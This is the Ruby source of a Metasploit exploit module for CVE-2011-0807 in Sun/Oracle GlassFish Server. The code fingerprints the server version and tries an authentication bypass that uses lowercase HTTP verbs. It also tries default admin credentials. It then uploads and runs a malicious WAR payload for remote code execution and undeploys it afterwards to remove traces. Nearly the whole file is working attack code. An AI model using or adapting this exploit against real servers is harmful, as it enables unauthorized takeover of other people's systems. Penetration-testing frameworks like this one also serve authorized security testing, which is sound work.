## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "Sun/Oracle GlassFish Server Authenticated Code Execution", 'Description' => %q{ This module logs in to an GlassFish Server 3.1 (Open Source or Commercial) instance using a default credential, uploads, and executes commands via deploying a malicious WAR. On Glassfish 2.x, 3.0 and Sun Java System Application Server 9.x this module will try to bypass authentication instead by sending lowercase HTTP verbs. }, 'License' => MSF_LICENSE, 'Version' => "$Revision$", 'Author' => [ #Msf module for Glassfish 3.0 'juan vazquez', #Msf module for Glassfish 3.1, 2.x and Sun Java System Application Server 9.1 'Joshua Abraham ', #Rewrite for 3.0, 3.1 (Commercial or Open Source) 'sinn3r', ], 'References' => [ ['CVE', '2011-0807'], ['OSVDB', '71948'], ], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java', }, ], # # platform specific targets only # [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win', }, ], # # platform specific targets only # [ 'Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux', }, ], ], 'DisclosureDate' => "Aug 4 2011", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(4848), OptString.new('APP_RPORT',[ true, 'The Application interface port', '8080']), OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username','' ]), OptString.new('PATH', [ true, "The URI path of the GlassFish Server", '/']) ], self.class) end # # Send GET or POST request, and return the response # def send_request(path, method, session='', data=nil, ctype=nil) headers = {} headers['Cookie'] = "JSESSIONID=#{session}" if session != '' headers['Content-Type'] = ctype if ctype != nil headers['Content-Length'] = data.length if data != nil res = send_request_raw({ 'uri' => path, 'method' => method, 'data' => data, 'headers' => headers, }, 90) #'vhost' => "#{datastore['rhost']}:#{datastore['rport']}" return res end # # Return target # def auto_target(session, res, version) print_status("Attempting to automatically select a target...") res = query_serverinfo(session,version) return nil if not res return nil if not res.body plat = detect_platform(res.body) arch = detect_arch(res.body) # No arch or platform found? return nil if (not arch or not plat) # see if we have a match targets.each do |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) end # no matching target found return nil end # # Return platform (win, linux, or osx) # def detect_platform(body) body.each_line do |ln| ln.chomp! case ln when /os\.name = (.*)/ os = $1 case os when /Windows/ return 'win' when /Linux/ return 'linux' when /Mac OS X/ return 'osx' end end end return 'java' end # # Return ARCH # def detect_arch(body) body.each_line do |ln| ln.chomp! case ln when /os\.arch = (.*)/ ar = $1 case ar when 'x86', 'i386', 'i686' return ARCH_X86 when 'x86_64', 'amd64' return ARCH_X86 end end end end # # Return server information # def query_serverinfo(session,version) res = '' if version == '2.x' or version == '9.x' path = "/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report" res = send_request(path, @verbs['GET'], session) else path = "/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report" res = send_request(path, @verbs['GET'], session) if ((not res) or (res.code != 200) or (res.body !~ /Operating System Information/)) path = "/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server" res = send_request(path, @verbs['GET'], session) end end if (not res) or (res.code != 200) print_error("Failed: Error requesting #{path}") return nil end return res end # # Return viewstate and entry before deleting a GlassFish application # def get_delete_info(session, version, app='') if version == '2.x' or version == '9.x' path = '/applications/webApplications.jsf' res = send_request(path, @verbs['GET'], session) if (not res) or (res.code != 200) print_error("Failed (#{res.code.to_s}): Error requesting #{path}") return nil end input_id = "javax.faces.ViewState" p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(j_id\d+:j_id\d+)"/ viewstate = res.body.scan(p)[0][0] entry = nil p = // results = res.body.scan(p) results.each do |hit| if hit[1] =~ /^#{app}/ entry = hit[0] entry << "col0:select" end end else path = '/common/applications/applications.jsf?bare=true' res = send_request(path, @verbs['GET'], session) if (not res) or (res.code != 200) print_error("Failed (#{res.code.to_s}): Error requesting #{path}") return nil end input_id = "javax.faces.ViewState" p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(.*)" autocomplete="off"/ viewstate = res.body.scan(p)[0][0] entry = nil p = // results = res.body.scan(p) results.each do |hit| if hit[1] =~ /^#{app}/ entry = hit[0] entry << "col0:select" end end end if (viewstate.nil?) print_error("Failed: Error getting ViewState") return nil elsif (entry.nil?) print_error("Failed: Error getting the entry to delete") end return viewstate, entry end # # Send an "undeploy" request to Glassfish and remove our backdoor # def undeploy(viewstate, session, entry) #Send undeployment request data = [ "propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=", "&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false", "&#{Rex::Text.uri_encode(entry)}=true", "&propertyForm%3AhelpKey=ref-applications.html", "&propertyForm_hidden=propertyForm_hidden", "&javax.faces.ViewState=#{Rex::Text.uri_encode(viewstate)}", "&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1", "&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1", "&javax.faces.partial.execute=%40all", "&javax.faces.partial.render=%40all", "&bare=true", "&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1", "&javax.faces.partial.ajax=true" ].join() path = '/common/applications/applications.jsf' ctype = 'application/x-www-form-urlencoded' res = send_request(path, @verbs['POST'], session, data, ctype) if (not res) print_error("Undeployment failed on #{path} - No Response") else if res.code < 200 or res.code >= 300 print_error("Undeployment failed on #{path} - #{res.code.to_s}:#{res.message.to_s}") end end end # # Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and # banner (ex: Sun Java System Application Server 9.x) # def get_version(res) #Extract banner from response banner = res.headers['Server'] #Default value for edition and glassfish version edition = 'Commercial' version = 'Unknown' #Set edition (Open Source or Commercial) p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/ edition = 'Open Source' if banner =~ p #Set version. Some GlassFish servers return banner "GlassFish v3". if banner =~ /(GlassFish Server|Open Source Edition) (\d\.\d)/ version = $2 elsif banner =~ /GlassFish v(\d)/ and (version == 'Unknown' or version.nil?) version = $1 elsif banner =~ /Sun GlassFish Enterprise Server v2/ and (version.nil? or version == 'Unknown') version = '2.x' elsif banner =~ /Sun Java System Application Server 9/ and (version.nil? or version == 'Unknown') version = '9.x' end if version == nil or version == 'Unknown' print_status("Unsupported version: #{banner}") end return edition, version, banner end # # Return the formatted version of the POST data # def format_2_x_war(boundary,name,value=nil, war=nil) data = '' data << boundary data << "\r\nContent-Disposition: form-data; name=\"form:title:sheet1:section1:prop1:fileupload\"; " data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n" data << war data << "\r\n" return data end # # Return the formatted version of the POST data # def format(boundary,name,value=nil, war=nil) data = '' if war data << boundary data << "\r\nContent-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; " data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n" data << war data << "\r\n" else data << boundary data << "\r\nContent-Disposition: form-data; name=\"#{name}\"" data << "\r\n\r\n" data << "#{value}\r\n" end return data end # # Return POST data and data length, based on GlassFish edition # def get_upload_data(boundary, version, war, app_base, typefield='', status_checkbox='', start='', viewstate='') data = '' if version == '3.0' uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam" uploadparam_data = "form:sheet1:section1:prop1:fileupload" boundary = "--#{boundary}" data = [ format(boundary, app_base, nil, war), format(boundary, uploadParam_name, uploadparam_data), format(boundary, "form:sheet1:section1:prop1:extension", ".war"), format(boundary, "form:sheet1:section1:prop1:action", "client"), format(boundary, typefield, "war"), format(boundary, "form:war:psection:cxp:ctx", app_base), format(boundary, "form:war:psection:nameProp:appName", app_base), format(boundary, "form:war:psection:vsProp:vs", ""), format(boundary, status_checkbox, "true"), format(boundary, "form:war:psection:librariesProp:library", ""), format(boundary, "form:war:psection:descriptionProp:description", ""), format(boundary, "form_hidden", "form_hidden"), format(boundary, "javax.faces.ViewState", viewstate), "#{boundary}--" ].join() elsif version == '2.x' or version == '9.x' uploadParam_name = "form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam" uploadParam_data = "form:title:sheet1:section1:prop1:fileupload" focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId" focusElementId_data = 'form:title:topButtons:uploadButton' boundary = "-----------------------------#{boundary}" data = [ format_2_x_war(boundary, app_base, nil, war), format(boundary, "form:title:sheet1:section1:type:appType", "webApp"), format(boundary, "uploadRdBtn", "client"), format(boundary, uploadParam_name, uploadParam_data), format(boundary, "form:title:sheet1:section1:prop1:extension", ".war"), format(boundary, "form:title:ps:psec:nameProp:appName", app_base), format(boundary, "form:title:ps:psec:cxp:ctx", app_base), format(boundary, "form:title:ps:psec:vsp:vs", ""), format(boundary, status_checkbox, "true"), format(boundary, "form:title:ps:psec:librariesProp:library", ""), format(boundary, "form:title:ps:psec:threadpoolProp:threadPool", ""), format(boundary, "form:title:ps:psec:registryProp:registryType", ""), format(boundary, "form:title:ps:psec:descriptionProp:description", ""), format(boundary, "form:helpKey", "uploaddev.html"), format(boundary, "form_hidden", "form_hidden"), format(boundary, "javax.faces.ViewState", viewstate), format(boundary, focusElementId_name, focusElementId_data), "#{boundary}--" ].join() else boundary = "-----------------------------#{boundary}" #Setup dynamic arguments num1 = start.to_i num2 = num1 + 14 num3 = num2 + 2 num4 = num3 + 2 num5 = num4 + 2 num6 = num5 + 2 num7 = num6 + 1 id0 = num4 id1 = num4 + 1 id2 = num4 + 2 id3 = num4 + 3 id4 = num4 + 4 id5 = num4 + 5 id6 = num4 + 6 id7 = num4 + 7 id8 = num4 + 8 id9 = num4 + 9 uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam" uploadParam_value = "form:sheet1:section1:prop1:fileupload" focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId" focusElementId_data = "form:title2:bottomButtons:uploadButton" data = [ format(boundary,"uploadRdBtn","client"), ## web service format(boundary, app_base, nil, war), ## sheet1 format(boundary, uploadParam_name, uploadParam_value), format(boundary,"form:sheet1:section1:prop1:extension",".war"), format(boundary,"form:sheet1:section1:prop1:action","client"), format(boundary,"form:sheet1:sun_propertySheetSection#{num1.to_s}:type:appType","war"), format(boundary,"form:appClient:psection:nameProp:appName","#{app_base}"), format(boundary,"form:appClient:psection:descriptionProp:description"), ## war format(boundary,"form:war:psection:cxp:ctx","#{app_base}"), format(boundary,"form:war:psection:nameProp:appName","#{app_base}"), format(boundary,"form:war:psection:vsProp:vs"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id1.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id2.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id3.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id4.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id5.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id6.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id7.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id8.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id9.to_s,"true"), format(boundary,"form:war:psection:librariesProp:library"), format(boundary,"form:war:psection:descriptionProp:description"), format(boundary,"form_hidden","form_hidden"), format(boundary,"javax.faces.ViewState","#{viewstate}"), format(boundary, focusElementId_name, focusElementId_data) ].join() item_list_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list" item_list_data = "|server|com.sun.webui.jsf.separator|" item_value_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value" item_value_data = "server" data << format(boundary, item_list_name, item_list_data) data << format(boundary, item_value_name, item_value_data) data << "#{boundary}--" data << "\r\n\r\n" end return data end # # Upload our payload, and execute it. This function will also try to automatically # clean up after itself. # def upload_exec(session, app_base, jsp_name, target, war, edition, version) if version == '2.x' or version == '9.x' path = "/applications/upload.jsf?appType=webApp" res = send_request(path, @verbs['GET'], session) #Obtain some properties begin p1 = /id="javax\.faces\.ViewState" value="(j_id\d{1,5}:j_id\d{1,5})"/mi p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi viewstate = res.body.scan(p1)[0][0] status_checkbox = res.body.scan(p2)[0][0] boundary = rand_text_alphanumeric(28) rescue print_error("Unable to gather required data for file upload") return end else path = "/common/applications/uploadFrame.jsf" res = send_request(path, @verbs['GET'], session) #Obtain some properties begin #start is only for dynamic arguments in POST data res.body =~ /propertySheetSection(\d{3})/ start = $1 p1 = /"javax\.faces\.ViewState" value="(-?\d+:-?\d+)"/mi p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/ p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/ rnd_text = rand_text_alphanumeric(29) viewstate = res.body.scan(p1)[0][0] typefield = res.body.scan(p2)[0][0] status_checkbox = res.body.scan(p3)[0][0] boundary = (edition == 'Open Source') ? rnd_text[0,15] : rnd_text rescue print_error("Unable to gather required data for file upload") return end end #Get upload data if version == '3.0' ctype = "multipart/form-data; boundary=#{boundary}" elsif version == '2.x' or version == '9.x' ctype = "multipart/form-data; boundary=---------------------------#{boundary}" typefield = '' start = '' else ctype = "multipart/form-data; boundary=---------------------------#{boundary}" end post_data = get_upload_data(boundary, version, war, app_base, typefield, status_checkbox, start, viewstate) #Upload our payload if version == '2.x' or version == '9.x' path = '/applications/upload.jsf?form:title:topButtons:uploadButton=%20%20OK%20%20' else path = '/common/applications/uploadFrame.jsf?' path << 'form:title:topButtons:uploadButton=Processing...' path << '&bare=false' end res = send_request(path, @verbs['POST'], session, post_data, ctype) #Print upload result if res and res.code == 302 print_status("Successfully uploaded") else print_error("Error uploading #{res.code}") return end #Execute our payload using the application interface (no need to use auth bypass technique) jsp_path = "/" + app_base + "/" + jsp_name + ".jsp" nclient = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['APP_RPORT'], { 'Msf' => framework, 'MsfExploit' => self, } ) print_status("Executing #{jsp_path}...") req = nclient.request_raw({ 'uri' => jsp_path, 'method' => 'GET', }) if (req) res = nclient.send_recv(req, 90) else print_status("Error: #{rhost} did not respond on #{app_rport}.") end #Sleep for a bit before cleanup select(nil, nil, nil, 5) #Start undeploying print_status("Getting information to undeploy...") viewstate, entry = get_delete_info(session, version, app_base) if (not viewstate) raise RuntimeError, "Unable to get viewstate" elsif (not entry) raise RuntimeError, "Unable to get entry" end print_status("Undeploying #{app_base}...") undeploy(viewstate, session, entry) print_status("Undeployment complete.") end # # Try to login to Glassfish with a credential, and return the response # def try_login(user, pass) data = "j_username=#{Rex::Text.uri_encode(user.to_s)}&" data << "j_password=#{Rex::Text.uri_encode(pass.to_s)}&" data << "loginButton=Login" path = '/j_security_check' res = send_request(path, @verbs['POST'], '', data, 'application/x-www-form-urlencoded') return res end def log_success(user,pass) print_good("#{target_host()} - GlassFish - SUCCESSFUL login for '#{user}' : '#{pass}'") report_auth_info( :host => rhost, :port => rport, :sname => 'http', :user => user, :pass => pass, :proof => "WEBAPP=\"GlassFish\", VHOST=#{vhost}", :active => true ) end def try_default_glassfish_login(version) success = false session = '' res = '' if version == '2.x' or version == '9.x' user = 'admin' pass = 'adminadmin' print_status("Trying default credential GlassFish 2.x #{user}:'#{pass}'....") res = try_login(user,pass) if res and res.code == 302 session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i) res = send_request('/applications/upload.jsf', 'GET', session) p = /Deploy Enterprise Applications\/Modules/ if (res and res.code.to_i == 200 and res.body.match(p) != nil) success = true end end else user = 'admin' pass = '' print_status("Trying default credential GlassFish 3.x #{user}:'#{pass}'....") res = try_login(user,pass) if res and res.code == 302 session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i) res = send_request('/common/applications/uploadFrame.jsf', 'GET', session) p = /<title>Deploy Applications or Modules/ if (res and res.code.to_i == 200 and res.body.match(p) != nil) success = true end end end if success == true log_success(user,pass) else msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'" print_error(msg) end return success, res, session end def try_nondefault_glassfish_login(version,user,pass) print_status("Trying credential #{user}:'#{pass}'....") success = false session = '' res = try_login(user, pass) if version == '2.x' or version == '9.x' if res and res.code == 302 session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i) res = send_request('/applications/upload.jsf', 'GET', session) p = /<title>Deploy Enterprise Applications\/Modules/ if (res and res.code.to_i == 200 and res.body.match(p) != nil) success = true end end else if res and res.code == 302 session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i) res = send_request('/common/index.jsf', 'GET', session) p = /<title>Deploy Applications or Modules/ if (res and res.code.to_i == 200 and res.body.match(p) != nil) success = true end end end if success == true log_success(user,pass) else msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'" print_error(msg) end return success, res, session end def try_glassfish_auth_bypass(version) print_status("Trying GlassFish authentication bypass..") success = false if version == '2.x' or version == '9.x' res = send_request('/applications/upload.jsf', 'get') p = /<title>Deploy Enterprise Applications\/Modules/ if (res and res.code.to_i == 200 and res.body.match(p) != nil) success = true end else # 3.0 res = send_request('/common/applications/uploadFrame.jsf', 'get') p = /<title>Deploy Applications or Modules/ if (res and res.code.to_i == 200 and res.body.match(p) != nil) success = true end end if success == true print_good("#{target_host} - GlassFish - SUCCESSFUL authentication bypass") report_auth_info( :host => rhost, :port => rport, :sname => 'http', :user => '', :pass => '', :proof => "WEBAPP=\"GlassFish\", VHOST=#{vhost}", :active => true ) else print_error("#{target_host()} - GlassFish - Failed authentication bypass") end return success end def target_host path = datastore['PATH'] target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}" end def exploit user = datastore['USERNAME'] pass = datastore['PASSWORD'] path = datastore['PATH'] target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}" success = false session = '' edition = '' version = '' #Invoke index to gather some info res = send_request('/common/index.jsf', 'GET') if res.code == 302 res = send_request('/login.jsf', 'GET') end #Get GlassFish version edition, version, banner = get_version(res) print_status("Glassfish edition: #{banner}") #Get session res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); / session = $1 #Set HTTP verbs. lower-case is used to bypass auth on v3.0 @verbs = { 'GET' => (version == '3.0' or version == '2.x' or version == '9.x') ? "get" : 'GET', 'POST' => (version == '3.0' or version == '2.x' or version == '9.x') ? 'post' : 'POST', } #auth bypass if version == '3.0' or version == '2.x' or version == '9.x' success = try_glassfish_auth_bypass(version) end #BUG caused us to skip default cred checks on sun applicaiton server 9.x if success == false and version != '9.x' #default credentials success,res,session_login = try_default_glassfish_login(version) if success == false if ( ( (version == '2.x' ) and (user != 'admin' and pass != 'adminadmin') ) or ( (version =~ /^3\./) and (user != 'admin' and pass != '') ) ) #non-default login success,res,session_login = try_nondefault_glassfish_login(version,user,pass) end end end #Start attacking if success session = session_login if (session_login =~ /\w+/) #Set target mytarget = target mytarget = auto_target(session, res, version) if mytarget.name =~ /Automatic/ raise RunTimeError, "Unable to automatically select a target" if (not mytarget) #Generate payload p = exploit_regenerate_payload(mytarget.platform, mytarget.arch) jsp_name = rand_text_alphanumeric(4+rand(32-4)) app_base = rand_text_alphanumeric(4+rand(32-4)) war = p.encoded_war({ :app_name => app_base, :jsp_name => jsp_name, :arch => mytarget.arch, :platform => mytarget.platform }).to_s #Upload, execute, cleanup, winning print_status("Uploading payload...") res = upload_exec(session, app_base, jsp_name, mytarget, war, edition, version) else print_error("#{target_host()} - GlassFish - Failed to authenticate login") end end end